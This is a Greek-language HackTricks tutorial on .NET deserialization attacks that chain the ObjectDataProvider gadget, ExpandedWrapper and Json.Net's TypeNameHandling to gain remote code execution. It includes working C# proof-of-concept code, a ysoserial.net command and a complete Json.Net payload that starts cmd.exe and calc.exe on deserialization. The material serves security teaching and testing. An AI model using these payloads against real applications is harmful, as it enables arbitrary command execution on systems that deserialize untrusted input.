Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Αυτή η ανάρτηση αφιερώνεται στο κατανόηση του πώς εκμεταλλεύεται το gadget ObjectDataProvider για να αποκτήσει RCE και πώς μπορούν να καταχραστούν οι βιβλιοθήκες Σειριοποίησης Json.Net και xmlSerializer με αυτό το gadget.

Gadget ObjectDataProvider

Από την τεκμηρίωση: η κλάση ObjectDataProvider περικλείει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως πηγή σύνδεσης. Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρουσα: Αυτή η κλάση επιτρέπει να περικλείσετε ένα αυθαίρετο αντικείμενο, να χρησιμοποιήσετε MethodParameters για να ορίσετε αυθαίρετες παραμέτρους και στη συνέχεια να χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους. Επομένως, το αυθαίρετο αντικείμενο θα εκτελέσει μια συνάρτηση με παραμέτρους κατά την αποσυνεριακοποίηση.

Πώς είναι αυτό δυνατόν

Το namespace System.Windows.Data, που βρίσκεται μέσα στο PresentationFramework.dll στο C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, είναι όπου ορίζεται και υλοποιείται ο ObjectDataProvider.

Χρησιμοποιώντας το dnSpy μπορείτε να επιθεωρήσετε τον κώδικα της κλάσης που μας ενδιαφέρει. Στην παρακάτω εικόνα βλέπουμε τον κώδικα του PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Όνομα μεθόδου

Όπως μπορείτε να παρατηρήσετε, όταν ορίζεται το MethodName, καλείται η base.Refresh(), ας δούμε τι κάνει αυτή:

Καλά, ας συνεχίσουμε να δούμε τι κάνει το this.BeginQuery(). Το BeginQuery αντικαθίσταται από το ObjectDataProvider και αυτό είναι το τι κάνει:

Παρατηρήστε ότι στο τέλος του κώδικα καλείται το this.QueryWorke(null). Ας δούμε τι εκτελεί αυτό:

Παρατηρήστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης QueryWorker αλλά δείχνει το ενδιαφέρον μέρος του: Ο κώδικας καλεί την this.InvokeMethodOnInstance(out ex); αυτή είναι η γραμμή όπου καλείται η ορισμένη μέθοδος.

Αν θέλετε να ελέγξετε ότι απλά με τον ορισμό του MethodName θα εκτελεστεί, μπορείτε να εκτελέσετε αυτόν τον κώδικα:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Σημείωση ότι πρέπει να προσθέσετε ως αναφορά C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll για να φορτώσετε το System.Windows.Data

ExpandedWrapper

Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το object θα αποκωδικοποιηθεί ως μια περίπτωση ObjectDataProvider (για παράδειγμα στο DotNetNuke vuln, χρησιμοποιώντας το XmlSerializer, το αντικείμενο αποκωδικοποιήθηκε χρησιμοποιώντας GetType). Στη συνέχεια, δεν θα έχουμε γνώση για τον τύπο του αντικειμένου που είναι τυλιγμένο στην περίπτωση ObjectDataProvider (Process για παράδειγμα). Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το DotNetNuke vuln εδώ.

Αυτή η κλάση επιτρέπει να καθορίσουμε τους τύπους αντικειμένων που είναι ενθυλακωμένα σε μια δεδομένη περίπτωση. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενθυλακώσει ένα αντικείμενο πηγής (ObjectDataProvider) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (ObjectDataProvider.MethodName και ObjectDataProvider.MethodParameters). Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να τυλίξουμε το _ObjectDataProvider** μέσα σε μια περίπτωση **ExpandedWrapper _ και όταν αποκωδικοποιηθεί αυτή η κλάση θα δημιουργήσει το αντικείμενο OjectDataProvider που θα εκτελέσει τη συνάρτηση που υποδεικνύεται στο MethodName.

Μπορείτε να ελέγξετε αυτό το wrapper με τον παρακάτω κώδικα:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Στην επίσημη ιστοσελίδα αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει την Σειριοποίηση και αποσειριοποίηση οποιουδήποτε αντικειμένου .NET με τον ισχυρό JSON serializer του Json.NET. Έτσι, αν μπορούσαμε να αποσειριοποιήσουμε το gadget ObjectDataProvider, θα μπορούσαμε να προκαλέσουμε μια RCE απλά αποσειριοποιώντας ένα αντικείμενο.

Παράδειγμα Json.Net

Πρώτα απ' όλα ας δούμε ένα παράδειγμα για το πώς να σειριοποιήσουμε/αποσειριοποιήσουμε ένα αντικείμενο χρησιμοποιώντας αυτήν τη βιβλιοθήκη:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Κατάχρηση του Json.Net

Χρησιμοποιώντας το ysoserial.net δημιούργησα την εκμετάλλευση:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Σε αυτόν τον κώδικα μπορείτε να δοκιμάσετε την εκμετάλλευση, απλά τρέξτε τον και θα δείτε ότι εκτελείται ο Υπολογιστής Προσαρμοσμένης Εφαρμογής:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated